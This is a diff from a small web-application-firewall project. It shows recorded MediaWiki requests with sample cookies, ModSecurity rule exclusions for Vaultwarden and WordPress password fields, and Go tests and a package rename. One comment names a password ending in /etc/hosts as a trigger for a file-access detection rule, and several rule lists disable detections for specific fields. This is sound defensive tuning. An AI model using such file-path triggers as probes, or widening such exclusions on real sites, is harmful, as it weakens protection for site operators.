{"method": "GET", "target": "/load.php?lang=de&modules=jquery%2Csite%7Cjquery.client%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=2osrg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Accept: */*", "Referer: http://example.com/index.php/Hauptseite", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=search&format=original&lang=de&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=de&modules=skins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=speechBubbles&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Hauptseite", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=article&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Hauptseite", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=history&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Hauptseite", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=wikiText&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Hauptseite", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=edit&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Hauptseite", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=editLock&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Hauptseite", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=speechBubbleAdd&variant=progressive&format=original&lang=de&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.0.0 Safari/537.36", "Accept-Language: de-DE", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Hauptseite", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=6utcdt9ec701s0tluji4v5r3uus5evqv; my_wikiUserID=3; my_wikiUserName=Beispielnutzer; cpPosIndex=3%401794352707%237671c2c53093b0ca272aa2d825d0a65d; UseDC=master"], "body": ""}
|
||||
@@ -82,45 +82,3 @@ SecRule REQUEST_FILENAME "@rx ^/api/hibp/breach$" \
|
||||
SecRule REQUEST_FILENAME "@rx ^/api/ciphers/[0-9a-f-]{36}/attachment(?:-admin|/[0-9a-f]+(?:/share)?)?$|^/api/sends/[0-9a-f-]{36}/file/[0-9a-f]+$" \
|
||||
"id:900153,phase:1,pass,nolog,\
|
||||
ctl:ruleRemoveTargetById=920120;FILES"
|
||||
|
||||
# The admin token, which an administrator types at /admin, skips each rule that
|
||||
# random passwords set off. The master password is hashed by the apps before
|
||||
# they send it, so password and masterPasswordHash need no exclusion.
|
||||
SecRule REQUEST_FILENAME "@rx ^/admin/?$" \
|
||||
"id:900154,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:token "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:token,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:token"
|
||||
@@ -1,9 +1,7 @@
|
||||
package coreruleset_test
|
||||
|
||||
import (
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"math/rand/v2"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"slices"
|
||||
@@ -29,6 +27,12 @@ const (
|
||||
// vaultwardenEmail is a JSON body that sends an address in email.
|
||||
const vaultwardenEmail = `{"email":"VALUE"}`
|
||||
|
||||
func TestOrdinaryVaultwardenRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "vaultwarden-requests.txt")
|
||||
}
|
||||
|
||||
// vaultwardenField is a field Vaultwarden receives in plain text: the
|
||||
// request that sends it, and its body, with VALUE where the field's value
|
||||
// goes.
|
||||
@@ -279,73 +283,6 @@ func vaultwardenUpload(name string) string {
|
||||
"\"\r\nContent-Type: application/octet-stream\r\n\r\nx\r\n" + end
|
||||
}
|
||||
|
||||
func TestVaultwardenAdminTokenPasses(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantPasswordFieldsPass(t, []passwordFields{
|
||||
{"/admin", formData, []string{"token"}},
|
||||
})
|
||||
}
|
||||
|
||||
// masterPasswordHashes returns count random 32-byte hashes in base64, the
|
||||
// form in which the apps send a master password.
|
||||
func masterPasswordHashes(count int) []string {
|
||||
const size, seed = 32, 288
|
||||
|
||||
random := rand.New(rand.NewPCG(seed, seed)) //nolint:gosec // a fixed sample
|
||||
|
||||
hashes := make([]string, count)
|
||||
|
||||
for i := range hashes {
|
||||
hash := make([]byte, size)
|
||||
for j := range hash {
|
||||
hash[j] = byte(random.IntN(1 << 8)) //nolint:gosec // below 256
|
||||
}
|
||||
|
||||
hashes[i] = base64.StdEncoding.EncodeToString(hash)
|
||||
}
|
||||
|
||||
return hashes
|
||||
}
|
||||
|
||||
// The apps hash the master password before they send it, so these fields
|
||||
// hold only base64 and set off no rule, with no exclusion.
|
||||
func TestVaultwardenMasterPasswordHashesPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const perBody = 20
|
||||
|
||||
crs := readingBodies(t)
|
||||
hashes := masterPasswordHashes(perBody)
|
||||
|
||||
for _, sent := range []struct {
|
||||
r request
|
||||
names []string
|
||||
}{
|
||||
{
|
||||
request{http.MethodPost, "/identity/connect/token", []string{formData}},
|
||||
[]string{passwordKey},
|
||||
},
|
||||
{
|
||||
request{http.MethodPost, vaultwardenPassword, []string{jsonBody}},
|
||||
[]string{"masterPasswordHash", "newMasterPasswordHash"},
|
||||
},
|
||||
{
|
||||
request{http.MethodPost, "/api/accounts/delete", []string{jsonBody}},
|
||||
[]string{"masterPasswordHash"},
|
||||
},
|
||||
} {
|
||||
body := passwordBody(t, sent.r, sent.names, hashes...)
|
||||
if len(body) > bodyLimit {
|
||||
t.Fatalf("a body of %d bytes is cut at bodyLimit", len(body))
|
||||
}
|
||||
|
||||
if got, _ := inspectBody(t, crs, sent.r, body); len(got.RuleIDs) != 0 {
|
||||
t.Errorf("POST %s %v set off rules: %+v", sent.r.target, sent.names, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestVaultwardenEncryptedFileNamesPassOnlyOnUploads(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
|
||||
@@ -96,131 +96,11 @@ SecRule REQUEST_FILENAME "@streq /wp-admin/admin-ajax.php" \
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:newcontent,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:newcontent"
|
||||
|
||||
# Signing in, in pwd, which skips each rule that random passwords set off.
|
||||
# Signing in, in pwd, where a password holds any characters:
|
||||
# 930120: a password ending in /etc/hosts
|
||||
SecRule REQUEST_FILENAME "@streq /wp-login.php" \
|
||||
"id:900704,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:pwd "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:pwd,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:pwd"
|
||||
|
||||
# The other passwords, which skip the same rules:
|
||||
# pass1, pass2: resetting the password at /wp-login.php, changing it on the
|
||||
# profile page and the page that edits a user, and adding a user; a
|
||||
# multisite install also changes it on network/user-edit.php,
|
||||
# network/profile.php and user/profile.php
|
||||
# post_password: the password of a protected post, sent to /wp-login.php
|
||||
SecRule REQUEST_FILENAME "@rx ^/(?:wp-login\.php|wp-admin/(?:profile|user-edit|user-new|network/user-edit|network/profile|user/profile)\.php)$" \
|
||||
"id:900715,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^(?:pass[12]|post_password)$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:pass[12]|post_password)$/,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:pass[12]|post_password)$/"
|
||||
|
||||
# Creating or editing a user through the REST API, in password, in form data or
|
||||
# JSON, which skips the same rules.
|
||||
SecRule TX:rest_route "@rx ^/wp/v2/users(?:/(?:me|[0-9]+))?$" \
|
||||
"id:900716,phase:1,pass,nolog,chain"
|
||||
SecRule &ARGS_GET:/^(?:json\.)?password$/ "@eq 0" \
|
||||
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=920540;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=921200;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?password$/,\
|
||||
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?password$/"
|
||||
SecRule &ARGS_GET:pwd "@eq 0" "ctl:ruleRemoveTargetById=930120;ARGS:pwd"
|
||||
|
||||
# Saving through the REST API, the JSON fields title, excerpt and name skip these
|
||||
# rules. WordPress writes a slug such as htaccess or ls-la, so slug skips only
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf
|
||||
package discriminator
|
||||
|
||||
// The heuristic abuseipdb. It reads SWW_ABUSEIPDB_KEY,
|
||||
// SWW_ABUSEIPDB_MIN_SCORE and SWW_REPUTATION_ACTION.
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf
|
||||
package discriminator
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
@@ -49,7 +49,7 @@ func (rq *request) answerHealth() {
|
||||
_, _ = io.WriteString(rq.out, "ok\n")
|
||||
}
|
||||
|
||||
// answerAdmin answers a request for one of waf's own endpoints. Each
|
||||
// answerAdmin answers a request for one of discriminator's own endpoints. Each
|
||||
// needs a token, sent as Authorization: Bearer <token>: the metrics
|
||||
// SWW_METRICS_TOKEN, the others SWW_ADMIN_TOKEN. A request without it is
|
||||
// refused with 401. An endpoint whose token is unset answers 404, as any other
|
||||
@@ -250,7 +250,7 @@ type clientAnswer struct {
|
||||
Bans []state.BanEntry `json:"bans"`
|
||||
}
|
||||
|
||||
// showClient answers GET ClientsPath<ip> with what waf knows of the client:
|
||||
// showClient answers GET ClientsPath<ip> with what discriminator knows of the client:
|
||||
// its counters, its history, which holds its country as last looked up and its
|
||||
// offences, and its bans with their notes.
|
||||
func (rq *request) showClient() {
|
||||
@@ -1,4 +1,4 @@
|
||||
package waf_test
|
||||
package discriminator_test
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
@@ -10,10 +10,10 @@ import (
|
||||
"time"
|
||||
|
||||
"sneak.berlin/go/smallwebwaf/internal/bans"
|
||||
"sneak.berlin/go/smallwebwaf/internal/discriminator"
|
||||
"sneak.berlin/go/smallwebwaf/internal/ratelimit"
|
||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||
"sneak.berlin/go/smallwebwaf/internal/state"
|
||||
"sneak.berlin/go/smallwebwaf/internal/waf"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -88,11 +88,11 @@ func TestAdminEndpointsNeedTheAdminToken(t *testing.T) {
|
||||
|
||||
// Any other request under /_sww/ is not found.
|
||||
for _, e := range []adminEndpoint{
|
||||
{http.MethodPut, waf.BansPath, banOtherClient},
|
||||
{http.MethodDelete, waf.BansPath, ""},
|
||||
{http.MethodGet, waf.BansPath + "/" + otherClient, ""},
|
||||
{http.MethodPost, waf.ClientsPath + otherClient, ""},
|
||||
{http.MethodGet, strings.TrimSuffix(waf.ClientsPath, "/"), ""},
|
||||
{http.MethodPut, discriminator.BansPath, banOtherClient},
|
||||
{http.MethodDelete, discriminator.BansPath, ""},
|
||||
{http.MethodGet, discriminator.BansPath + "/" + otherClient, ""},
|
||||
{http.MethodPost, discriminator.ClientsPath + otherClient, ""},
|
||||
{http.MethodGet, strings.TrimSuffix(discriminator.ClientsPath, "/"), ""},
|
||||
} {
|
||||
s.admin(e.method, e.path, e.body, http.StatusNotFound)
|
||||
}
|
||||
@@ -118,7 +118,7 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
|
||||
Reason: "probes for logins",
|
||||
}
|
||||
|
||||
wantBans(t, s.admin(http.MethodPost, waf.BansPath, banOtherClient,
|
||||
wantBans(t, s.admin(http.MethodPost, discriminator.BansPath, banOtherClient,
|
||||
http.StatusOK), want)
|
||||
|
||||
line := s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
|
||||
@@ -129,7 +129,7 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
|
||||
// Its notes count the request it refused.
|
||||
want.Notes.Requests, want.Notes.Refused = 1, 1
|
||||
|
||||
wantBans(t, s.admin(http.MethodGet, waf.BansPath, "", http.StatusOK), want)
|
||||
wantBans(t, s.admin(http.MethodGet, discriminator.BansPath, "", http.StatusOK), want)
|
||||
|
||||
// Ten minutes on, lifting the bans on client lifts that one, which is
|
||||
// kept, marked lifted.
|
||||
@@ -138,13 +138,13 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
|
||||
lifted := clk.Now()
|
||||
want.Lifted = &lifted
|
||||
|
||||
wantBans(t, s.admin(http.MethodDelete, waf.BansPath+"/"+client, "",
|
||||
wantBans(t, s.admin(http.MethodDelete, discriminator.BansPath+"/"+client, "",
|
||||
http.StatusOK), want)
|
||||
s.get(client, http.StatusOK, requestlog.ActionForward)
|
||||
wantBans(t, s.admin(http.MethodGet, waf.BansPath, "", http.StatusOK), want)
|
||||
wantBans(t, s.admin(http.MethodGet, discriminator.BansPath, "", http.StatusOK), want)
|
||||
|
||||
// No ban on it is active any more.
|
||||
s.admin(http.MethodDelete, waf.BansPath+"/"+client, "", http.StatusNotFound)
|
||||
s.admin(http.MethodDelete, discriminator.BansPath+"/"+client, "", http.StatusNotFound)
|
||||
}
|
||||
|
||||
func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
|
||||
@@ -181,7 +181,7 @@ func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
|
||||
want.Expires = &expires
|
||||
}
|
||||
|
||||
wantBans(t, s.admin(http.MethodPost, waf.BansPath, body, http.StatusOK),
|
||||
wantBans(t, s.admin(http.MethodPost, discriminator.BansPath, body, http.StatusOK),
|
||||
want)
|
||||
}
|
||||
}
|
||||
@@ -251,7 +251,7 @@ func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) {
|
||||
